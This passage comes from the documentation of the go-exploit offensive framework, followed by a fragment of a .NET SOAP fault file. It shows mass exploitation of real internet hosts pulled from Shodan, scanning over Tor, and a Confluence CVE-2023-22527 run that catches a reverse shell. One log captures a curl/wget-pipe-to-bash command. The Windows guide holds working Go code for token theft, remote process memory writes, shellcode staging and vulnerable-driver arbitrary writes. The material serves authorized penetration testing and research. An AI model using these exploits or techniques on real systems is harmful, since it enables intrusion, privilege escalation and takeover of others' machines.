    "content": "# Scanning\n\n`go-exploit` is designed to scan many hosts at once, and there are a number of features that support that design.\n\n## Providing Targets\n\nLet's start with providing targets to a `go-exploit`. The system understands three command line options for targets:\n\n1. `-rhost`: single target\n2. `-rhosts`: multiple targets\n3. `-rhosts-file`: multiple targets in a file\n\n### Provide Targets via Command Line\n\nThe standard way to provide a single target is via `-rhost`. This accepts one target in the form of a hostname, IPv4 address, or IPv6 address. Example:\n\n```sh\n./build/cve-2023-51467_linux-arm64 -c -rhost 10.9.49.88\n```\n\nTo specify more than one target, you can use the `rhosts` flag. This supports comma delimited targets as well as CIDR notation. Examples:\n\n```sh\n./build/cve-2023-51467_linux-arm64 -a -v -rhosts 10.9.49.174,10.9.49.205 -rports 80,10000 \n```\n\n```sh\n./build/cve-2023-38646_linux-arm64 -v -rhosts 192.168.1.0/24 -rport 80\n```\n\n### Provide Targets via File\n\nLists of targets can also be provided via file using the `-rhosts-file` flag. Three file formats are supported:\n\n1. Target format of `<ip>:<port>`, one per line\n2. Target format of `<ip>,<port>,<any value if ssl is enabled>`, one per line\n3. [VulnCheck IP Intel JSON](https://docs.vulncheck.com/products/initial-access-intelligence/ip-intel#detection-types), one per line\n\n#### Example Using Shodan \n\nWhile `go-exploit` is not currently hooked up to the Shodan API, it is easy to massage Shodan results into a format that `go-exploit` can ingest via `-rhosts-file`. The following example demonstrates converting Shodan results into the `<ip>,<port>,<any value if ssl is enabled>` format.\n\n```sh\nalbinolobster@mournland:~$ shodan count html:\"jive-loginVersion\"\n6549\nalbinolobster@mournland:~$ shodan download openfire html:\"jive-loginVersion\"\nSearch query:\t\t\thtml:jive-loginVersion\nTotal number of results:\t6549\nQuery credits left:\t\t9531\nOutput file:\t\t\topenfire.json.gz\n  [###################################-]   99%  00:00:00\nSaved 1000 results into file openfire.json.gz\nalbinolobster@mournland:~$ shodan parse --fields ip_str,port,ssl.jarm --separator , openfire.json.gz > openfire.csv\nalbinolobster@mournland:~$ tail openfire.csv\n51.222.136.154,9090,\n158.69.113.214,9091,07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175\n217.222.136.11,9090,\n201.245.189.172,9090,\n200.170.135.46,9090,\n74.84.138.186,9090,\n115.22.164.115,9090,\n192.99.169.243,9090,\n117.248.109.34,9090,\n208.180.74.57,9090,\nalbinolobster@mournland:~$ ./build/cve-2023-32315_linux-arm64 -v -rhosts-file ./openfire.csv\n```\n\n### Provide Targets via Stdin\n\nTargets can also be provided via stdin. `go-exploit` accepts all `-rhosts-file` formats listed above. Usage example:\n\n```\nalbinolobster@mournland:~/cve-2023-51467$ echo 10.9.49.88:8443 | ./build/cve-2023-51467_linux-arm64 -a -c -rhosts-file - -lhost 192.168.1.91 -lport 1270\ntime=2024-03-05T09:19:06.627-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8443 ssl=false \"ssl auto\"=true\ntime=2024-03-05T09:19:06.713-05:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.88 port=8443\ntime=2024-03-05T09:19:07.251-05:00 level=VERSION msg=\"The self-reported version is: 18.12\" host=10.9.49.88 port=8443 version=18.12\ntime=2024-03-05T09:19:07.251-05:00 level=SUCCESS msg=\"The target *might* be a vulnerable version. Continuing.\" host=10.9.49.88 port=8443 vulnerable=possibly\n```\n\nNote that providing targets via stdin disables use of any C2 that also would have used stdin (e.g. the reverse shells).\n\n## Proxy\n\n`go-exploit` supports HTTP, HTTPS, and SOCKS5 proxy via the `-proxy` command line option. All TCP connections (`TCPConnect`, `TLSConnect`, and `MixedConnect`) are proxy aware and will honor the SOCKS5 proxy. The various HTTP functions will all work as expected with an HTTP or HTTPS proxy. The following example demonstrates scanning via local Tor socks5 proxy on port 9050:\n\n```\nalbinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == \"Extracted the variable\")'\n{\n  \"time\": \"2023-08-31T13:45:35.781849255-04:00\",\n  \"level\": \"SUCCESS\",\n  \"msg\": \"Extracted the variable\",\n  \"rocketmqHome\": \"-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;\",\n  \"host\": \"x.x.x.x\",\n  \"port\": 10909\n}\n```\n\n## Autodetect SSL\n\nIt is often the case, when doing mass scanning, that we aren't sure if the targets use of SSL. `go-exploit` solves this by providing the `-a` flag, or SSL \"autodetect\" flag. When this flag is in use, the first interaction the `go-exploit` will have with the target is probing for SSL usage. The `go-exploit` will then honor the results of the probe for the remainder usage.\n"
  },
  {
    "path": "docs/usage-example.md",
    "content": "# Example Usage\n\n## Target Validation\n\nValidate the remote target is target using the `-v` command line option with `-rhost` and `-rport`:\n\n```sh\nalbinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -v -rhost 10.9.49.88 -rport 8090\ntime=2024-02-22T12:06:11.761-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8090 ssl=false \"ssl auto\"=false\ntime=2024-02-22T12:06:11.761-05:00 level=STATUS msg=\"Validating Confluence target\" host=10.9.49.88 port=8090\ntime=2024-02-22T12:06:11.864-05:00 level=SUCCESS msg=\"Target verification succeeded!\" host=10.9.49.88 port=8090 verified=true\n```\n\n## Version Checking\n\nPerform a version check on the remote target using the `-c` command line option with `-rhost` and `-rport`:\n\n```sh\nalbinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -c -rhost 10.9.49.88 -rport 8090\ntime=2024-02-22T12:07:05.888-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8090 ssl=false \"ssl auto\"=false\ntime=2024-02-22T12:07:05.888-05:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.88 port=8090\ntime=2024-02-22T12:07:06.023-05:00 level=VERSION msg=\"The self-reported version is: 8.5.3\" host=10.9.49.88 port=8090 version=8.5.3\ntime=2024-02-22T12:07:06.023-05:00 level=SUCCESS msg=\"The target appears to be a vulnerable version!\" host=10.9.49.88 port=8090 vulnerable=yes\n```\n\n## Exploitation\n\nPerform a exploitation using the `-e` command line option with `-rhost` and `-rport`. Exploits that implement `CodeExecution` will also require `-rhost` and `-rport`.\n\n```sh\nalbinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270\ntime=2024-02-22T12:07:39.156-05:00 level=STATUS msg=\"Starting listener on 10.9.49.85:1270\"\ntime=2024-02-22T12:07:39.156-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8090 ssl=false \"ssl auto\"=false\ntime=2024-02-22T12:07:39.156-05:00 level=STATUS msg=\"Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm\"\ntime=2024-02-22T12:07:39.303-05:00 level=STATUS msg=\"Sending class QYfJPraDTtlQi to http://10.9.49.88:8090/template/aui/text-inline.vm\"\ntime=2024-02-22T12:07:39.331-05:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.88:49344\"\ntime=2024-02-22T12:07:39.332-05:00 level=STATUS msg=\"Active shell from 10.9.49.88:49344\"\nid\nuid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)\nwhoami\nconfluence\n```\n\n#### Everything at once!\n\nTarget verification, version scanning, and exploitation are intended to be cchained. You can use them all at once using `-e`, `-v`, and `-c` on the command line.\n\n```sh\nalbinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -e -v -c -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270\ntime=2024-02-22T12:08:20.911-05:00 level=STATUS msg=\"Starting listener on 10.9.49.85:1270\"\ntime=2024-02-22T12:08:20.911-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8090 ssl=false \"ssl auto\"=false\ntime=2024-02-22T12:08:20.911-05:00 level=STATUS msg=\"Validating Confluence target\" host=10.9.49.88 port=8090\ntime=2024-02-22T12:08:21.107-05:00 level=SUCCESS msg=\"Target verification succeeded!\" host=10.9.49.88 port=8090 verified=true\ntime=2024-02-22T12:08:21.107-05:00 level=STATUS msg=\"Running a version check on the remote target\" host=10.9.49.88 port=8090\ntime=2024-02-22T12:08:21.193-05:00 level=VERSION msg=\"The self-reported version is: 8.5.3\" host=10.9.49.88 port=8090 version=8.5.3\ntime=2024-02-22T12:08:21.193-05:00 level=SUCCESS msg=\"The target appears to be a vulnerable version!\" host=10.9.49.88 port=8090 vulnerable=yes\ntime=2024-02-22T12:08:21.193-05:00 level=STATUS msg=\"Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm\"\ntime=2024-02-22T12:08:21.273-05:00 level=STATUS msg=\"Sending class TTFeAnsZZRep to http://10.9.49.88:8090/template/aui/text-inline.vm\"\ntime=2024-02-22T12:08:21.301-05:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.88:46412\"\ntime=2024-02-22T12:08:21.301-05:00 level=STATUS msg=\"Active shell from 10.9.49.88:46412\"\nid\nuid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)\nwhoami\nconfluence\n```\n\n"
  },
  {
    "path": "docs/version-checking.md",
    "content": "# Version Checking\n\nVersion checking is a crucial step in the exploit process to ensure that the target is vulnerable and worth exploiting. The `CheckVersion` function in `go-exploit` determines whether the exploit will attempt to exploit the target. It has five possible return values defined in `framework.go`:\n\n1. *NotVulnerable* - Indicates that the target is not vulnerable, and the exploit will not attempt to exploit it.\n2. *Vulnerable* - Indicates that the target is vulnerable, and the exploit will attempt to exploit it.\n3. *PossiblyVulnerable* - Indicates that the target might be vulnerable, and the exploit will attempt to exploit it.\n4. *Unknown* - Indicates that an error occurred during version checking, and the exploit will not attempt to exploit the target.\n5. *NotImplemented* - Indicates that no version check is implemented, and the exploit will attempt to exploit the target.\n\nHere's an example of a version check function for CVE-2017-20149:\n\n```go\nfunc (sploit MTStackClash) CheckVersion(conf *config.Config) exploit.VersionCheckType {\n\tversion, ok := getRouterOSVersion(conf)\n\tif !ok {\n\t\treturn exploit.Unknown\n\t}\n\toutput.PrintfStatus(\"The self-reported version is: %s\", version)\n\n\tmajor, minor, point := versionToInt(version)\n\tif major == 0 {\n\t\treturn exploit.Unknown\n\t}\n\n\tif major != 6 || minor >= 39 {\n\t\treturn exploit.NotVulnerable\n\t}\n\tif minor == 38 && point >= 5 {\n\t\treturn exploit.NotVulnerable\n\t}\n\tif minor == 37 && point >= 5 {\n\t\treturn exploit.NotVulnerable\n\t}\n\n\treturn exploit.Vulnerable\n}\n```\n\nIn this example, the function retrieves the target's version using the `getRouterOSVersion` function and performs a series of checks. If the version is unknown or if the target is not running RouterOS version 6 or has a minor version greater than or equal to 39, it returns *NotVulnerable*. If the minor version is 38 and the point version is greater than or equal to 5, or if the minor version is 37 and the point version is greater than or equal to 5, it also returns *NotVulnerable*. Otherwise, it concludes that the target is *Vulnerable*.\n\n"
  },
  {
    "path": "docs/windows-lpe.md",
    "content": "# Windows Local Privilege Escalation\n\nThe `windows` package provides primitives for developing Windows LPE exploits. It wraps low-level Windows APIs into a consistent interface that works with the go-exploit framework, handling error reporting and cross-platform compilation.\n\nFor general exploit structure, see [Getting Started](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md). For exploit types, see [Exploit Types](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md).\n\n## Exploit Skeleton\n\nA Windows LPE follows the standard go-exploit pattern but uses `config.NewLocalExploit` instead of `config.NewRemoteExploit`:\n\n```go\npackage main\n\nimport (\n\texploit \"github.com/vulncheck-oss/go-exploit\"\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\ntype MyLPE struct{}\n\nfunc (sploit MyLPE) ValidateTarget(conf *config.Config) bool {\n\tinfo, ok := windows.GetPlatformInfo()\n\tif !ok {\n\t\treturn false\n\t}\n\treturn info.OS == \"windows\"\n}\n\nfunc (sploit MyLPE) CheckVersion(conf *config.Config) exploit.VersionCheckType {\n\tinfo, ok := windows.GetPlatformInfo()\n\tif !ok {\n\t\treturn exploit.Unknown\n\t}\n\n\t// Check for vulnerable build range\n\tif info.BuildNumber >= 19041 && info.BuildNumber <= 22000 {\n\t\treturn exploit.Vulnerable\n\t}\n\treturn exploit.NotVulnerable\n}\n\nfunc (sploit MyLPE) RunExploit(conf *config.Config) bool {\n\tif windows.IsSystem() {\n\t\toutput.PrintSuccess(\"Already SYSTEM\")\n\t\treturn true\n\t}\n\n\t// Exploit logic goes here\n\treturn true\n}\n\nfunc main() {\n\tconf := config.NewLocalExploit(\n\t\tconfig.ImplementedFeatures{\n\t\t\tAssetDetection:  true,\n\t\t\tVersionScanning: true,\n\t\t\tExploitation:    true,\n\t\t},\n\t\tconfig.Local,\n\t\t[]c2.Impl{},\n\t\t\"Microsoft\",\n\t\t[]string{\"Windows 10\", \"Windows 11\"},\n\t\t[]string{\"cpe:2.3:o:microsoft:windows_10\", \"cpe:2.3:o:microsoft:windows_11\"},\n\t\t\"CVE-2024-30088\",\n\t)\n\n\tsploit := MyLPE{}\n\texploit.RunProgram(sploit, conf)\n}\n```\n\n## Platform Detection\n\nCheck what you're running on before attempting exploitation:\n\n```go\ninfo, ok := windows.GetPlatformInfo()\nif !ok {\n\treturn false\n}\n\noutput.PrintfStatus(\"Build %d, Arch %s\", info.BuildNumber, info.Arch)\noutput.PrintfStatus(\"User: %s, Integrity: %s\", info.Username, info.IntegrityLevel.String())\n\n// Quick privilege checks\nif windows.IsSystem() {\n\toutput.PrintSuccess(\"Already SYSTEM\")\n\treturn true\n}\n\nif !windows.IsAdmin() {\n\toutput.PrintError(\"Requires admin privileges\")\n\treturn false\n}\n```\n\nThe `PlatformInfo` struct contains:\n- `BuildNumber`, `Version`, `ProductName`, `IsServer` - OS details\n- `IsAdmin`, `IsSystem`, `IsElevated`, `IntegrityLevel` - privilege info\n- `CurrentPID`, `SessionID`, `Username`, `ComputerName` - process context\n\n## Token Theft\n\nToken theft is a common post-exploitation technique. The package provides both low-level and convenience functions.\n\n### Quick Elevation\n\nThe simplest path to SYSTEM when running as admin:\n\n```go\nif !windows.ElevateToSystem() {\n\toutput.PrintError(\"Failed to elevate\")\n\treturn false\n}\ndefer windows.RevertToSelf()\n\noutput.PrintSuccess(\"Running as SYSTEM\")\n// Do privileged operations here\n```\n\n`ElevateToSystem` finds a SYSTEM process (preferring `services.exe` to avoid EDR triggers), steals its token, and impersonates it.\n\n### Targeting a Specific Process\n\nWhen you need a token from a specific process:\n\n```go\n// Find the target\npid, ok := windows.FindProcess(\"winlogon.exe\")\nif !ok {\n\treturn false\n}\n\n// Steal and impersonate in one call\nif !windows.StealAndImpersonate(pid) {\n\treturn false\n}\ndefer windows.RevertToSelf()\n```\n\n### Manual Token Operations\n\nFor more control over the process:\n\n```go\n// Open the process token\ntoken, ok := windows.OpenProcessTokenByPID(pid, windows.TokenDuplicate|windows.TokenQuery)\nif !ok {\n\treturn false\n}\ndefer windows.CloseToken(token)\n\n// Check what we got\nuser, _ := windows.GetTokenUser(token)\noutput.PrintfStatus(\"Token belongs to: %s\", user)\n\n// Duplicate for impersonation\ndupToken, ok := windows.DuplicateToken(token, windows.SecurityImpersonation, windows.TokenTypeImpersonation)\nif !ok {\n\treturn false\n}\ndefer windows.CloseToken(dupToken)\n\n// Impersonate\nif !windows.ImpersonateToken(dupToken) {\n\treturn false\n}\ndefer windows.RevertToSelf()\n```\n\n### Token Information\n\nQuery token details for reconnaissance or validation:\n\n```go\ntoken, ok := windows.OpenProcessTokenByPID(pid, windows.TokenQuery)\nif !ok {\n\treturn false\n}\ndefer windows.CloseToken(token)\n\n// Get detailed info\ninfo, ok := windows.GetTokenInfo(token)\nif ok {\n\toutput.PrintfStatus(\"Owner: %s, Integrity: %s\", info.Owner, info.IntegrityLevel.String())\n\toutput.PrintfStatus(\"Elevated: %v\", info.IsElevated)\n\tfor _, priv := range info.Privileges {\n\t\toutput.PrintfStatus(\"  %s\", priv)\n\t}\n}\n\n// Or query specific attributes\nuser, _ := windows.GetTokenUser(token)\nintegrity := windows.GetTokenIntegrity(token)\nelevated := windows.IsTokenElevated(token)\nsessionID, _ := windows.GetTokenSessionID(token)\n```\n\n## Privilege Management\n\nMany exploits require specific privileges to be enabled:\n\n```go\n// Enable SeDebugPrivilege for cross-process access\nif !windows.EnablePrivilege(windows.SeDebugPrivilege) {\n\toutput.PrintError(\"Failed to enable SeDebugPrivilege\")\n\treturn false\n}\n\n// Common privileges for LPE work\nwindows.EnablePrivilege(windows.SeImpersonatePrivilege)\nwindows.EnablePrivilege(windows.SeAssignPrimaryTokenPrivilege)\nwindows.EnablePrivilege(windows.SeLoadDriverPrivilege)\nwindows.EnablePrivilege(windows.SeBackupPrivilege)\nwindows.EnablePrivilege(windows.SeRestorePrivilege)\n```\n\n## Process Enumeration\n\nFind processes for targeting:\n\n```go\n// Find by name (case-insensitive)\npid, ok := windows.FindProcess(\"lsass.exe\")\nif ok {\n\toutput.PrintfStatus(\"lsass.exe is PID %d\", pid)\n}\n\n// Find all instances of a process\npids, ok := windows.FindProcesses(\"svchost.exe\")\nif ok {\n\toutput.PrintfStatus(\"Found %d svchost instances\", len(pids))\n}\n\n// Enumerate all processes\nprocesses, ok := windows.EnumProcesses()\nif ok {\n\tfor _, p := range processes {\n\t\toutput.PrintfStatus(\"PID %d: %s (session %d)\", p.PID, p.Name, p.SessionID)\n\t}\n}\n\n// Get detailed info on a specific process\ninfo, ok := windows.GetProcessInfo(pid)\nif ok {\n\toutput.PrintfStatus(\"%s: path=%s, wow64=%v\", info.Name, info.Path, info.IsWow64)\n}\n```\n\n## Driver Exploitation\n\nFor exploits targeting vulnerable kernel drivers.\n\n### Opening a Device\n\n```go\ndevice, ok := windows.OpenDevice(`\\\\.\\VulnDriver`, windows.GenericRead|windows.GenericWrite)\nif !ok {\n\treturn false\n}\ndefer windows.CloseHandle(device)\n```\n\n### Sending IOCTLs\n\nBuild the IOCTL code and send it:\n\n```go\n// Build IOCTL code\n// CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)\nioctl := windows.CtlCode(\n\twindows.FileDeviceUnknown,\n\t0x800,\n\twindows.MethodBuffered,\n\twindows.FileAnyAccess,\n)\n\n// Send with byte buffers\ninBuf := []byte{0x41, 0x41, 0x41, 0x41}\noutBuf := make([]byte, 256)\nbytesReturned, ok := windows.DeviceIoControl(device, ioctl, inBuf, outBuf)\nif !ok {\n\treturn false\n}\noutput.PrintfStatus(\"IOCTL returned %d bytes\", bytesReturned)\n```\n\nFor structured data, use `DeviceIoControlPtr`:\n\n```go\ntype exploitRequest struct {\n\tTargetAddress uintptr\n\tValue         uint64\n}\n\nreq := exploitRequest{\n\tTargetAddress: targetAddr,\n\tValue:         0x4141414141414141,\n}\n\n_, ok := windows.DeviceIoControlPtr(\n\tdevice,\n\tioctl,\n\tunsafe.Pointer(&req),\n\tuint32(unsafe.Sizeof(req)),\n\tnil,\n\t0,\n)\n```\n\n### Loading Your Own Driver\n\nWhen an exploit requires loading a vulnerable driver (requires `SeLoadDriverPrivilege`):\n\n```go\nwindows.EnablePrivilege(windows.SeLoadDriverPrivilege)\n\nif !windows.LoadDriver(\"C:\\\\Windows\\\\Temp\\\\vuln.sys\", \"VulnDriver\") {\n\treturn false\n}\ndefer windows.UnloadDriver(\"VulnDriver\")\n\n// Now open and exploit it\ndevice, ok := windows.OpenDevice(`\\\\.\\VulnDriver`, windows.GenericRead|windows.GenericWrite)\nif !ok {\n\treturn false\n}\ndefer windows.CloseHandle(device)\n```\n\n## Service Operations\n\nInteract with the Service Control Manager:\n\n```go\n// Check if a service is running and get its PID\nif windows.IsServiceRunning(\"AppIDSvc\") {\n\tpid, ok := windows.GetServicePID(\"AppIDSvc\")\n\tif ok {\n\t\toutput.PrintfStatus(\"AppIDSvc running as PID %d\", pid)\n\t}\n}\n\n// Get detailed service info\ninfo, ok := windows.GetServiceInfo(\"Spooler\")\nif ok {\n\toutput.PrintfStatus(\"%s (%s): %s\", info.Name, info.DisplayName, info.BinaryPath)\n}\n\n// Start/stop services\nwindows.StartService(\"Spooler\")\nwindows.StopService(\"Spooler\")\n\n// Enumerate all services\nservices, ok := windows.EnumServices()\nif ok {\n\tfor _, svc := range services {\n\t\tif svc.Status == windows.ServiceRunning {\n\t\t\toutput.PrintfStatus(\"%s running as PID %d\", svc.Name, svc.PID)\n\t\t}\n\t}\n}\n\n// Enumerate kernel drivers specifically\ndrivers, ok := windows.EnumDrivers()\n```\n\n## Memory Operations\n\nAllocate, protect, and manipulate memory:\n\n### Local Process Memory\n\n```go\n// Allocate RW memory\naddr, ok := windows.VirtualAlloc(0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite)\nif !ok {\n\treturn false\n}\ndefer windows.VirtualFree(addr, 0, windows.MemRelease)\n\n// Write shellcode (example: copy data to allocated memory)\nshellcode := []byte{0x90, 0x90, 0x90, 0xcc} // NOP NOP NOP INT3\ncopy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode)\n\n// Make executable\noldProtect, ok := windows.VirtualProtect(addr, 4096, windows.PageExecuteRead)\nif !ok {\n\treturn false\n}\noutput.PrintfStatus(\"Changed protection from 0x%x to RX\", oldProtect)\n\n// Query memory region\nregion, ok := windows.VirtualQuery(addr)\nif ok {\n\toutput.PrintfStatus(\"Region: base=0x%x size=0x%x protect=0x%x\",\n\t\tregion.BaseAddress, region.RegionSize, region.Protect)\n}\n```\n\n### Remote Process Memory\n\n```go\n// Open target process with memory access\nprocess, ok := windows.OpenProcess(pid, windows.ProcessVMOperation|windows.ProcessVMRead|windows.ProcessVMWrite)\nif !ok {\n\treturn false\n}\ndefer windows.CloseHandle(process)\n\n// Allocate in remote process\nremoteAddr, ok := windows.VirtualAllocEx(process, 0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite)\nif !ok {\n\treturn false\n}\ndefer windows.VirtualFreeEx(process, remoteAddr, 0, windows.MemRelease)\n\n// Write to remote process\ndata := []byte(\"payload data here\")\nwritten, ok := windows.WriteProcessMemory(process, remoteAddr, data)\nif ok {\n\toutput.PrintfStatus(\"Wrote %d bytes to remote process\", written)\n}\n\n// Read from remote process\nbuffer := make([]byte, 256)\nread, ok := windows.ReadProcessMemory(process, remoteAddr, buffer)\nif ok {\n\toutput.PrintfStatus(\"Read %d bytes from remote process\", read)\n}\n\n// Change remote memory protection\noldProtect, ok := windows.VirtualProtectEx(process, remoteAddr, 4096, windows.PageExecuteRead)\n```\n\n### File Mappings\n\nCreate shared memory sections:\n\n```go\n// Create a file mapping (shared memory)\nmapping, ok := windows.CreateFileMapping(\n\twindows.InvalidHandleValue, // No backing file\n\t0x1000,                     // 4KB\n\twindows.PageReadWrite,\n\t\"Local\\\\MySharedMem\",\n)\nif !ok {\n\treturn false\n}\ndefer windows.CloseHandle(mapping)\n\n// Map view into address space\nview, ok := windows.MapViewOfFile(mapping, windows.FileMapWrite, 0, 0x1000)\nif !ok {\n\treturn false\n}\ndefer windows.UnmapViewOfFile(view)\n\n// Use the mapped memory\ndata := (*[0x1000]byte)(unsafe.Pointer(view))\ncopy(data[:], []byte(\"shared data\"))\n```\n\n## Handle Operations\n\nQuery and duplicate handles across processes:\n\n```go\n// Get all handles in the system\nallHandles, ok := windows.QuerySystemHandles()\nif ok {\n\toutput.PrintfStatus(\"System has %d handles\", len(allHandles))\n}\n\n// Get handles for a specific process\nhandles, ok := windows.QueryProcessHandles(pid)\nif ok {\n\toutput.PrintfStatus(\"Process %d has %d handles\", pid, len(handles))\n}\n\n// Get handles of a specific type (e.g., ALPC ports)\nalpcHandles, ok := windows.QueryProcessHandlesByType(pid, windows.AlpcPortObjectType)\nif ok {\n\tfor _, h := range alpcHandles {\n\t\toutput.PrintfStatus(\"ALPC handle: 0x%x at object 0x%x\", h.HandleValue, h.ObjectAddress)\n\t}\n}\n\n// Duplicate a handle from another process into ours\ndupHandle, ok := windows.DuplicateHandleFromProcess(pid, handleValue)\nif ok {\n\tdefer windows.CloseHandle(dupHandle)\n\t// Now we can use the handle locally\n}\n```\n\n## ALPC\n\nQuery ALPC port information (useful for certain kernel exploits):\n\n```go\n// Find ALPC ports in a process\nports, ok := windows.EnumALPCPorts(pid)\nif ok {\n\tfor _, port := range ports {\n\t\toutput.PrintfStatus(\"ALPC port handle 0x%x\", port.HandleValue)\n\t}\n}\n\n// Query section info from an ALPC port handle\nsectionInfo, ok := windows.QueryALPCPortSectionInfo(portHandle)\nif ok {\n\toutput.PrintfStatus(\"Section: handle=0x%x size=0x%x base=0x%x\",\n\t\tsectionInfo.SectionHandle, sectionInfo.SectionSize, sectionInfo.ViewBase)\n}\n```\n\n## Putting It Together: Example Workflows\n\n### Token Theft from a Service\n\n```go\nfunc (sploit MyLPE) RunExploit(conf *config.Config) bool {\n\t// Need admin to steal tokens\n\tif !windows.IsAdmin() {\n\t\toutput.PrintError(\"Requires admin\")\n\t\treturn false\n\t}\n\n\t// Find the Spooler service PID\n\tif !windows.IsServiceRunning(\"Spooler\") {\n\t\tif !windows.StartService(\"Spooler\") {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tpid, ok := windows.GetServicePID(\"Spooler\")\n\tif !ok {\n\t\treturn false\n\t}\n\toutput.PrintfStatus(\"Spooler running as PID %d\", pid)\n\n\t// Steal its token\n\tif !windows.StealAndImpersonate(pid) {\n\t\treturn false\n\t}\n\tdefer windows.RevertToSelf()\n\n\t// Verify elevation\n\tif windows.IsSystem() {\n\t\toutput.PrintSuccess(\"Got SYSTEM via Spooler token\")\n\t\treturn true\n\t}\n\n\treturn false\n}\n```\n\n### Driver-Based Arbitrary Write\n\n```go\nfunc (sploit MyLPE) RunExploit(conf *config.Config) bool {\n\t// Open the vulnerable driver\n\tdevice, ok := windows.OpenDevice(`\\\\.\\VulnDrv`, windows.GenericRead|windows.GenericWrite)\n\tif !ok {\n\t\treturn false\n\t}\n\tdefer windows.CloseHandle(device)\n\n\t// Allocate memory for our payload\n\tshellcodeAddr, ok := windows.VirtualAlloc(0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite)\n\tif !ok {\n\t\treturn false\n\t}\n\tdefer windows.VirtualFree(shellcodeAddr, 0, windows.MemRelease)\n\n\t// Copy shellcode and make it executable\n\tshellcode := getShellcode() // your shellcode here\n\tcopy((*[4096]byte)(unsafe.Pointer(shellcodeAddr))[:], shellcode)\n\twindows.VirtualProtect(shellcodeAddr, 4096, windows.PageExecuteRead)\n\n\t// Use the driver's arbitrary write to redirect execution\n\tioctl := windows.CtlCode(windows.FileDeviceUnknown, 0x800, windows.MethodBuffered, windows.FileAnyAccess)\n\n\ttype writeRequest struct {\n\t\tWhere uintptr\n\t\tWhat  uintptr\n\t}\n\treq := writeRequest{\n\t\tWhere: targetAddr,    // address to overwrite\n\t\tWhat:  shellcodeAddr, // our shellcode\n\t}\n\n\t_, ok = windows.DeviceIoControlPtr(device, ioctl, unsafe.Pointer(&req), uint32(unsafe.Sizeof(req)), nil, 0)\n\tif !ok {\n\t\treturn false\n\t}\n\n\toutput.PrintStatus(\"Write primitive triggered\")\n\treturn true\n}\n```\n\n## Cross-Platform Compilation\n\nThe package compiles on any platform but only functions on Windows. Functions return `false` or stub values on non-Windows systems:\n\n```go\nif !windows.IsWindows() {\n\toutput.PrintError(\"This exploit only runs on Windows\")\n\treturn false\n}\n```\n\nExploits can be cross-compiled from Linux/macOS for Windows targets:\n\n```sh\nGOOS=windows GOARCH=amd64 go build -o exploit.exe\n```\n"
  },
  {
    "path": "dotnet/data/ReturnMessage.xml",
    "content": "﻿<SOAP-ENV:Fault id=\"xref-1\">\n    <faultcode id=\"xref-2\">SOAP-ENV:Server</faultcode>\n    <faultstring id=\"xref-3\"> **** System.Exception - Exception of type &#39;System.Exception&#39; was thrown.</faultstring>\n    <detail xsi:type=\"x1:ServerFault\" xmlns:x1=\"http://schemas.microsoft.com/clr/ns/System.Runtime.Serialization.Formatters\">\n        <exceptionType xsi:null=\"1\"/>\n        <message xsi:null=\"1\"/>\n        <stackTrace xsi:null=\"1\"/>\n        <exception href=\"#xref-4\"/>\n    </detail>\n</SOAP-ENV:Fault>\n<x2:Exception id=\"xref-4\" xmlns:x2=\"http://schemas.microsoft.com/clr/ns/System\">\n    <ClassName id=\"xref-5\">System.Exception</ClassName>\n    <Message xsi:null=\"1\"/>\n    <Data href=\"#xref-6\"/>\n    <InnerException xsi:null=\"1\"/>\n    <HelpURL xsi:null=\"1\"/>\n    <StackTraceString xsi:null=\"1\"/>\n    <RemoteStackTraceString xsi:null=\"1\"/>\n    <RemoteStackIndex>0</RemoteStackIndex>\n    <ExceptionMethod xsi:null=\"1\"/>\n    <HResult>-2146233088</HResult>\n    <Source xsi:null=\"1\"/>\n    <WatsonBuckets xsi:null=\"1\"/>\n</x2:Exception>\n<x3:ListDictionaryInternal id=\"xref-6\" xmlns:x3=\"http://schemas.microsoft.com/clr/ns/System.Collections\">\n    <head href=\"#xref-7\"/>\n    <version>1</version>\n    <count>1</count>\n</x3:ListDictionaryInternal>\n<x3:ListDictionaryInternal_x002B_DictionaryNode id=\"xref-7\" xmlns:x3=\"http://schemas.microsoft.com/clr/ns/System.Collections\">\n    <key id=\"xref-9\" 